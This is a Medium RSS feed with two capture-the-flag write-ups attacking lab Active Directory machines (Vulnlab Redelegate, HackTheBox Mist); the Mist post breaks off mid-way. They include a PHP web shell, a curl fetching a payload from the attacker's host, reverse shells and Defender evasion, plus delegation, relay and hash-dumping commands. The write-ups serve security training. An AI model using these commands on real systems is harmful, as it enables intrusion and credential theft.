<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ARZ101 on Medium]]></title>
        <description><![CDATA[Stories by ARZ101 on Medium]]></description>
        <link>https://medium.com/@arz101?source=rss-7fb09031e8a8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lKXRdlrZorMId31rHECXxg.gif</url>
            <title>Stories by ARZ101 on Medium</title>
            <link>https://medium.com/@arz101?source=rss-7fb09031e8a8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 16:41:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arz101/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Vulnlab — Redelegate]]></title>
            <link>https://arz101.medium.com/vulnlab-redelegate-91b3337c905d?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/91b3337c905d</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnlab]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Wed, 04 Dec 2024 20:00:39 GMT</pubDate>
            <atom:updated>2024-12-04T20:00:39.398Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Redelegate</h3><p>Redelegate, an AD machine from Vulnlab involved enumerating ftp to find a keepass database file and password format, cracking the file lead to accessing MSSQL and enumerating domain users through SUSER_SNAME and SUSER_ID , password spraying to gain access to a user, escalating privileges through ForceChangePassword , having GenericAll on a machine account and SeEnableDelegation privilege enabled, gaining administrator by performing Constrained Delegation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*Rz8-W2Fa5aig4EXw" /></figure><pre>21/tcp   open  ftp           Microsoft ftpd<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)  <br>| 10-20-24  12:11AM                  434 CyberAudit.txt<br>| 10-20-24  04:14AM                 2622 Shared.kdbx<br>|_10-20-24  12:26AM                  580 TrainingAgenda.txt <br>| ftp-syst:                  <br>|_  SYST: Windows_NT              <br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-title: IIS Windows Server<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-25 15:33:52Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?                    <br>464/tcp  open  kpasswd5?                                  <br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped<br>1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>| ms-sql-info:</pre><p>From the scan we have ports 21, 445 from where we could login as anonymous user and look for files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/0*EyTvFSn45YVjIc2B" /></figure><p>FTP shows two text files, talking about recent audit findings where unused objects and misconfigured ACLs are still in the domain also there’s a potential password format SeasonYear!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/0*QOOgDMDw3_6i3E9a" /></figure><p>So this is giving us a hint on creating a wordlist of seasons for the year 2024, we can simply create that</p><pre>Spring2024!<br>Summer2024!<br>Fall2024!<br>Autumn2024!<br>Winter2024!</pre><p>Now one thing to note is whenever we are transferring files from FTP, it is recommended to use binary mode instead of ascii, reason being when transferring from windows to linux, it will convert the line endings accordingly (as they are different in both OS on how to they add line feed), with binary it will transfer the file as it is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2jJY-A7ukupHive-" /></figure><p>Here this keepass file was downloaded with ascii mode and probably is the reason why it didn’t get cracked, changing mode to binary with binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mxPmQfW9nr-5w2PW" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gha2ylNaBTAaOvpr" /></figure><p>The last part of hash can be seen being different in both of the modes</p><pre>ca4e19 - ascii<br> <br>ca   - binary</pre><p>Moving on to accessing this file with kpcli , kdbx file can be access with open followed by the password we have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/0*3i2mAVRwwXvEZ_OW" /></figure><p>With show -f we can reveal the passwords</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*09UCNqtxNdhUMA8D" /></figure><p>We have six credentials that we can spray , to see which one is valid, spraying on smb didn’t worked, trying it on mssql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iSjBN8OqjtBmE3MA" /></figure><pre>impacket-mssqlclient SQLGuest@10.10.82.7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*joTlTVy9nB1chpX3" /></figure><p>Trying to use xp_cmdshell to execute commands we can see this user doesn’t have privileges to do that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ARV_MjTJGaZ_7He4" /></figure><p>On coercing authentication with xp_dirtree in order to can get NTLMv2 challenge/response hash of the user with which the mssql service is running</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EJIAsoUVLajaZ9-h" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/0*EVuvaj3AVC_tsZ7X" /></figure><p>From here we can’t do much since NTLMv2 cannot be cracked and we cannot execute any meaningful stored procedures which can either help us in enumerating the file system or executing any commands but luckily there’s a function named SUSER_SID that returns the Security Identifier (SID) for the specified user.</p><pre>select sys.fn_varbintohexstr(SUSER_SID(&#39;redelegate\Administrator&#39;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/0*txKiaFxPdEJdoxa-" /></figure><p>This SID is in hex, we can covert this into a proper SID format by using the script mentioned in this <a href="https://keramas.github.io/2020/03/22/mssql-ad-enumeration.html">article</a></p><pre>import struct<br>import sys<br>def prepare_sid(sid):<br>    hex_string = bytes.fromhex(sid[2:])<br>    mod_sid = sid_to_str(hex_string)<br>    domain_sid_data = mod_sid.split(&#39;-&#39;)[:7]<br>    domain_sid = &#39;-&#39;.join(domain_sid_data) + &quot;-&quot;<br>print(domain_sid+&quot;\n&quot;)<br>    return domain_sid<br>def sid_to_str(sid):<br>    if sys.version_info.major &lt; 3:<br>        revision = ord(sid[0])<br>    else:<br>        revision = sid[0]<br>    if sys.version_info.major &lt; 3:<br>        number_of_sub_ids = ord(sid[1])<br>    else:<br>        number_of_sub_ids = sid[1]<br>    iav = struct.unpack(&#39;&gt;Q&#39;, b&#39;\x00\x00&#39; + sid[2:8])[0]<br>    sub_ids = [struct.unpack(&#39;&lt;I&#39;, sid[8 + 4 * i:12 + 4 * i])[0]<br>               for i in range(number_of_sub_ids)]<br>    return &#39;S-{0}-{1}-{2}&#39;.format(revision, iav, &#39;-&#39;.join([str(sub_id) for sub_id in sub_ids]))<br>prepare_sid(&quot;0x010500000000000515000000a185deefb22433798d8e847af4010000&quot;)</pre><p>This will return the domain SID in proper which we can use to append administrator’s SID to verify if we can enumerate users like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/0*QiO52JyluUBQSmcS" /></figure><p>Now we need to iterate over the user SID part</p><pre>select (SUSER_SNAME(SID_BINARY(N&#39;S-1-5-21-4024337825-2033394866-2055507597-500&#39;)))</pre><p>We can use a for loop to increment the user id, have those queries in a text file and pass it to mssqclient with -file parameter</p><pre>for i in range(500, 10000 + 1, 1):<br>    print(f&quot;select (SUSER_SNAME(SID_BINARY(N&#39;S-1-5-21-4024337825-2033394866-2055507597-{i}&#39;)))&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/0*49r8pPFOXCaOaMKA" /></figure><p>After some time we’ll be seeing few domain users, we can utilize them to either check for as-rep roast or spray the password wordlist we have which will lead us to Marie.Curie</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SjjRxNCJa5JCw6gz" /></figure><p>Running bloodhound to enumerate the domain using python-bloodhounud</p><pre>bloodhound-python -d redelegate.vl -u &#39;Marie.Curie&#39; -p &#39;password&#39;  -c all -ns 10.10.92.151</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AlJpe7e80UJnx1aJ" /></figure><p>Through Marie.Curie we can change password of Helen.Frost with ForceChangePassword, since this user is part of helpdesk group and then can logon to DC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vs5qNTvYTRX3Dze-" /></figure><p>Password can be changed with either net rpc or rpcclient</p><pre>net rpc password &quot;Helen.Frost&quot; -U &quot;redelegate.vl&quot;/&quot;Marie.Curie&quot; -S 10.10.92.151</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*n2JZS_XltkgZSo0d" /></figure><p>Having the password changed, we can login through evil-winrm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-xay5mylW_F_qms-" /></figure><p>Checking the privileges we have SeEnableDelegationPrivilege privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7T6H1k6ejHjze5io" /></figure><p>With this privilege, we can configure the delegation attributes are set on the service resulting in either unconstrained or constrained delegation, for this to work we need ability to add an machine account or have control over one, in this case we have machine quota set to 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3oMDhCHF6aRsFy41" /></figure><p>But we have GenericAll on FS01$ through which can reset the password and gain control over this account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*CR4BxqbLWsLlijFA" /></figure><pre>net rpc password &quot;FS01$&quot; -U &quot;redelegate.vl&quot;/&quot;Helen.Frost&quot; -S 10.10.92.151</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*h4KXJ1K2blbp6SCz" /></figure><p>Now to configure constrained delegation, we need to set two attributes, the first TRUSTED_TO_AUTH_FOR_DELEGATION which is for enabling delegation, then msDS-AllowedToDelegateTo which is for specifying for which service and host it can delegate to. This can be set with using powershell ADModule</p><pre>Set-ADComputer -Identity FS01 -Add @{&#39;msDS-AllowedToDelegateTo&#39;=@(&#39;cifs/dc.redelegate.vl&#39;)}<br>Set-ADAccountControl -Identity &quot;FS01$&quot; -TrustedToAuthForDelegation $True</pre><p>The properties can be verified by looking for computers configured with constrained delegation</p><pre>Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.&#39;msDS-AllowedToDelegateTo&#39; -ne $null } | Select-Object Name, msDS-AllowedToDelegateTo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AifGspY2pZojr-_s" /></figure><p>This can also be done with impacket-findDelegation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*ey1vEUNn7xTHRVqj" /></figure><p>Impersonating as administrator didn’t work as it had CannotBeDelegated set to True</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EZGDAGJ3vEQFOF1P" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_JEy-pgdxH8XPxIX" /></figure><p>There’s another domain admin, RYAN.COOPER , which we can impersonate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*N4JV7Qvx3GzXf9iZ" /></figure><p>With this ticket we can gain remote access through ps/wmi/smb exec or dump hash to logon as admin</p><pre>impacket-secretsdump redelegate.vl/ryan.cooper@dc.redelegate.vl -k -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*Jd-uw_678oRi2i5v" /></figure><h3>References</h3><ul><li><a href="https://serverfault.com/questions/18619/on-what-basis-should-you-select-acsii-or-binary-transfers-over-ftp">https://serverfault.com/questions/18619/on-what-basis-should-you-select-acsii-or-binary-transfers-over-ftp</a></li><li><a href="https://keramas.github.io/2020/03/22/mssql-ad-enumeration.html">https://keramas.github.io/2020/03/22/mssql-ad-enumeration.html</a></li><li><a href="https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/">https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91b3337c905d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Mist]]></title>
            <link>https://arz101.medium.com/hackthebox-mist-c23cdea69ca5?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c23cdea69ca5</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Mon, 28 Oct 2024 15:02:21 GMT</pubDate>
            <atom:updated>2024-10-28T15:02:21.852Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Mist</h3><p>Mist an insane difficult machine involved an instance of pluck being vulnerable to both local file inclusion (LFI) and remote code execution (RCE), uploading a php shell in a excluded directory to avoid defender flagging it, enumerating the filesystem to escalate privileges through lnk files, with ligolo-ng pivoting into the network to reach DC01 in order to perform shadow credentials through NTLM relay over HTTP (since SMB signing was enabled) on MS01 , with administrator enumerating the file system again to find keepass file with credentials which had ReadGMSA, performing shadow credentials again on a domain user and then escalating to domain admin through ESC13 abuse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MCb4u9m4HdQY4JsAJMoosA.png" /></figure><pre>Nmap scan report for 10.10.11.17<br>Host is up (0.30s latency).          <br>Not shown: 65534 filtered tcp ports (no-response)<br>PORT   STATE SERVICE VERSION  <br>80/tcp open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)<br>|_http-generator: pluck 4.7.18                        <br>| http-robots.txt: 2 disallowed entries<br>|_/data/ /docs/                     <br>| http-methods:                   <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1<br>| http-title: Mist - Mist<br>|_Requested resource was http://10.10.11.17/?file=mist<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set</pre><p>From the scan we have only port 80 open, visiting the web server we have Pluck hosted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mL8MSbZiTvRwH7Kv" /></figure><p>On trying to login we’ll see the version being disclosed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/0*KrOf4Q-dIZ6dAaNg" /></figure><p>This version is vulnerable to authenticated remote code execution but currently we don’t have any credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pZ7KGTP9AfZtJQaz" /></figure><p>Trying the default ones like password and admin:admin didn’t worked, fuzzing for files, there’s cgi-bin directory which can reveal something here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/0*2JbcVZL8i6WbPmE7" /></figure><p>So fuzzing again at this directory for any pl files, we can find printenv.pl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1jcK7dF51VjgEEUo" /></figure><p>This file lists some configuration for XAMPP, showing a username as well, svc_web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8ZXcI0sPTn26VrSH" /></figure><h3>Getting admin access through Local File Inclusion (LFI)</h3><p>Checking the github issues for Pluck CMS, there seems to be LFIon /data/modules/albums/albums_getimage.php?image=</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nYrW0gaChvuZ159F" /></figure><p>On trying to read /etc/passwd it was detecting ../</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_3XWqsGiHIK76mni" /></figure><p>We can however view the albums on pluck cms as shown in the poc for LFI from where we can list contents of albums directory revealing admin_backup.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*pVnkc3GGRUMBz0Wg" /></figure><p>This can be read by just appending admin_backup.php to image parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/0*maJo_W3QL3qn5thz" /></figure><p>Having the admin hash, we can attempt to crack it using hashcat by using mode 1700 which is for SHA-512</p><pre>hashcat -a 0 -m 1700  ./admin_hash.txt /usr/share/wordlists/rockyou.txt --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J5Iby7mLmZQ_TIhq" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*usBKeR3dskG2lNgg" /></figure><p>With this password we can login as admin on pluck</p><h3>Gaining a shell as svc_web</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9-SI-Z39AJxQCIWj" /></figure><p>Now we can use the previous RCE exploit, uploading a module by zipping a php file having GET parameter being passed into system function for executing commands</p><pre>&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*nG-C9-Y9dz3pyku5" /></figure><p>But this file will be deleted within 1–2 minutes so there’s probably a cleanup script or defender removing these files, for getting a shell, upload and execute netcat to get a reverse shell as svc_web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/0*9oo8lQFmwA3x6yCj" /></figure><p>Again as soon as the php file gets removed our shell will die</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/0*7ineYIzihWUnDgyG" /></figure><p>So what we can do here is to upload a php file in defender’s exclusion list where it wont’ delete any malicious files, checking the permissions of C:\xampp, we have write access on this directory, so we can upload a php file there and then get a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/0*zTXg2WKN2ngzlHZV" /></figure><pre>&lt;?php system(&#39;curl http://10.10.16.17/uwu.php -o C:/xampp/htdocs/uwu.php&#39;); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lwUir89YPJuwR3q0" /></figure><p>Checking the privileges of this local user, it doesn’t seem to have any privilege which can lead to local admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FGd_aLkrxo0Fu8Mh" /></figure><p>Running arp -a to see the hosts on the network we get one IP 192.168.100.100 which seems it&#39;s the IP of domain controller</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/0*HYlZk2PXBCxs3VxH" /></figure><p>For accessing this host from our kali machine we need to perform pivoting from MS01 using ligolo-ng</p><pre>sudo ip link set ligolo up<br>sudo ip route add 192.168.100.0/24 dev ligolo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W4dO8C3LImL4Cwyu" /></figure><p>We can confirm the reachability of DC01 by pinging or running nxc to check smb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oxMl9DtTzgTnU7nu" /></figure><p>Here I tried checking guest account for brute forcing SIDs to get a list of domain users but that account was disabled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6SLWCUnp0yYKaZI9" /></figure><p>Also tried checking for AS-REP roasting on the two domain accounts we can see on MS01 but it also failed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/0*9yHfeRV8TJ-jVl9b" /></figure><p>Enumerating shares with null authentication didn’t yield any stuff as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2MLl5zki45fhm_iw" /></figure><p>Moving back to MS01 and enumerating the system by uploading winpeas in C:/xampp/htdocs/ as it is excluded by defender</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G133A69L8JB6HmZ-" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/0*eg2Qc36IM9qEBAm1" /></figure><h3>Escalating Privileges (brandon.keywarp)</h3><p>Brandon.keywarp is logged in onto this system so there might be some tasks or files being checked by this user, there&#39;s also Common Applications directory which is writable by local users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/0*Lya-xgzetYXPhBM_" /></figure><p>This directory contains few lnk files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/0*t8SmwscPvPQmmMYp" /></figure><p>Transferring any one of the lnk files on our windows machine to edit the location of the shortcut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*hrKhx5ssXqOQFvny" /></figure><p>Now editing this lnk file to execute nc from C:\xampp\htdocsto get a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/0*qotxK75tMTS5zta5" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/0*v8oKhKr6xMo7KnIU" /></figure><p>From here we can run bloodhound to enumerate the domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZDxlk7XeqeLJkyUy" /></figure><p>Brandon didn’t had any ACLs and wasn’t in any special group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ilDcXkcosFA28iR3" /></figure><p>It’s the same with Sharon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I1rj-UWZjeRH7Bj5" /></figure><p>But there’s Operatives group which has ReadGMSAPasswowrd on SVC_CA$ account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*T2hjBnTSajr6B9wv" /></figure><p>And this group has these two group members who can also PSRemote (gain remote session through winrm) on DC01</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/0*6nu9VdPpE2Vso8pj" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/0*5xa3ILMx1M-NP_3G" /></figure><h3>Recovering brandon’s NThash</h3><p>Since smb signing is enabled on DC01, we need to relay using HTTP authentication which can be done only if WebClient service is enabled which is currently disabled, this can be checked using <a href="https://github.com/G0ldenGunSec/GetWebDAVStatus">GetWebDAVStatus</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*PamkO7GdZMhJzMJa" /></figure><p>For enabling this service, start responder then try mapping the share to kali machine with http protocol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/0*OtC2MAKqwvnGtYFH" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/0*jYv6BGQWpXweF9l6" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/0*Ls6dR8PNN6LPCJxE" /></figure><p>Since we have a shell as brandon, we can verify if ADCS is installed on DC using certutil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*4k1p3illJHgSuy_Z" /></figure><p>Using certify we can list down the templates which are enabled, if User template is enabled we can then request a certificate and get the NTHash of brandon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f5juKtFtR7xBpTOS" /></figure><pre>Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User /domain:mist.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*bxuMYx6o1RR6N2-L" /></figure><p>Converting the pem into pfx file in order to use it for authenticating from certipy to retrieve NTLM hash of brandon</p><pre>openssl pkcs12 -in cert.pem -keyex -CSP &quot;Microsoft Enhanced Cryptographic Provider v1.0&quot; -export -out cert.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/0*icESjzQwSi-3aoUv" /></figure><pre>certipy auth -pfx cert.pfx  -dc-ip 192.168.100.100  -username Brandon.Keywarp -domain mist.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/0*zU5DoNqVxXqVtNF_" /></figure><h3>Shadow Credentials Through NTLM Relay</h3><p>Now that have brandon’s hash, we can use PetitPotam to cause coercion for MS01 with webdav protocol which is going to perform HTTP authentication leading to shadow credentials on MS01 but before that let’s verify if we can coerce the authentication on smb, for this we need to start chisel with socks proxy</p><pre>chisel.exe client 10.10.16.43:9000 R:socks<br>chisel server --reverse -p 9000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/0*uuCxvrCWOYrf53Pm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fs_KUN74i1if_NR_" /></figure><p>For HTTP coercion, webclient service will be enabled on port 8080, so we need to redirect that port from MS01 to our kali machine this is known as port bending, for this I’ll be using <a href="https://github.com/jellever/StreamDivert">StreamDivert</a> for redirecting outbound traffic on port 8080 to my kali machine on port 80</p><pre>tcp &gt; 8080 0.0.0.0 -&gt; 10.10.16.43 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*kWalklkEA5yI_40G" /></figure><p>Running PetitPotam again, this time setting the listener to be MS01</p><pre>proxychains python3 /opt/PetitPotam/PetitPotam.py -u brandon.keywarp -hashes &#39;:hash&#39; MS01@8080/test 192.168.100.101</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UhdeT3Hjss3Gha1d" /></figure><p>This machine account hash can now be relayed to DC01 on ldaps to perform shadow credentials using ntlmrealyx (make sure turn HTTP Off from responder.conf), normally machine accounts can edit their own msDS-KeyCredentialLink attribute but to my surprise this did not worked as it showed it&#39;s missing some rights here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EC_o8DvP_AOYWGqt" /></figure><p>This is probably due to value is already set and for some reason we cannot overwrite this property, there’s another variation of ntlmrelayx which supports both clearing and setting the value of msDS-KeyCredentialLink using an interactive ldap shell, so relaying it again but this time using this <a href="https://github.com/fortra/impacket/pull/1402">version</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/0*nb-k2wgKg01U3-YT" /></figure><h3>Getting administrator on MS01</h3><p>We now have the certificate and the password, using gettgtpkinit from PKINITools we can retrieve MS01 aeskey and TGT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WuWo1peLB319b-i5" /></figure><p>NTHash can be recovered as well either by certipy auth or using Rubeus</p><pre>Rubeus.exe asktgt /user:MS01$ /domain:mist.htb  /certificate:./orGRT9Km.pfx /password:aCSx4xhH2ZqvYxSAseyK /getcredentials /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g5WR1xlQKkm1aE2m" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ck0AbvLGaCqTZXao" /></figure><p>Impersonating as local admin on MS01 using HOST service</p><pre>Rubeus.exe s4u /self /user:MS01$ /rc4:4A74FC05400345D580CF58AEC3E6D833 /altservice:host/ms01.mist.htb /impersonateuser:administrator /ptt /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*24WaXq7B2-h7-BZ2" /></figure><p>Converting this kirbi (base64) ticket into ccache which is supported by impacket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8GomZ5Xch81xuS7N" /></figure><p>And using wmiexec.py to get an interactive shell as admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/0*yHaRsQ7j1ZAZvXb9" /></figure><p>This can also be done purely through linux</p><pre>proxychains ticketer.py -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -domain mist.htb -spn HOST/MS01.mist.htb -nthash 4A74FC05400345D580CF58AEC3E6D833 -user-id 500 Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GxC2OyAgIVA8beNu" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/0*ktsGE_vzZe_SdlEJ" /></figure><h3>Shell as OP_Sharon</h3><p>From bloodhound we saw OP_Sharon is member of Operatives group who ha ReadGMSA permission on SVC_CA$ and had PSRemote on DC, so sharon on MS01 might be interesting, checking the documents directory we have sharon.kdbx file which is a keepass database file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*HVOA9HN-zDlDByto" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*0aBGjx0PFP0qrtZy" /></figure><p>Reading this file will required a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/0*aF0riAkGSGI_TH1a" /></figure><p>From pictures directory, we have two image files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/0*cTYs2erU25qVtIMo" /></figure><p>The second image shows us a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/0*DrevAbdheZ5j8Pn4" /></figure><p>The text UA7cpa[#1!_*ZX doesn&#39;t represent the base64 encoded value in the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PLWtETvliRnDwsyx" /></figure><p>So we might be missing some characters that we need to recover, creating a wordlist with crunch to brute force the last character</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*TEXdLiIKY-U6ilUo" /></figure><p>Having the master password we can access the keepass file and get the password for sharon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*qx_j8Q_iBKJIt_8W" /></figure><p>For moving forward, pivoting using ligolo-ng as proxychains is a bit slow in reaching to MS01 internal ports and DC01, by creating ligolo interface device and adding 192.168.100.0/24 route</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/0*vZa03VBEptimG2bL" /></figure><p>Spraying this password on both sharon and op_sharon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ojjkHG6USPaWnyhe" /></figure><p>Since op_sharon has PSRemote on DC, we can login through winrm</p><figure><img alt="" 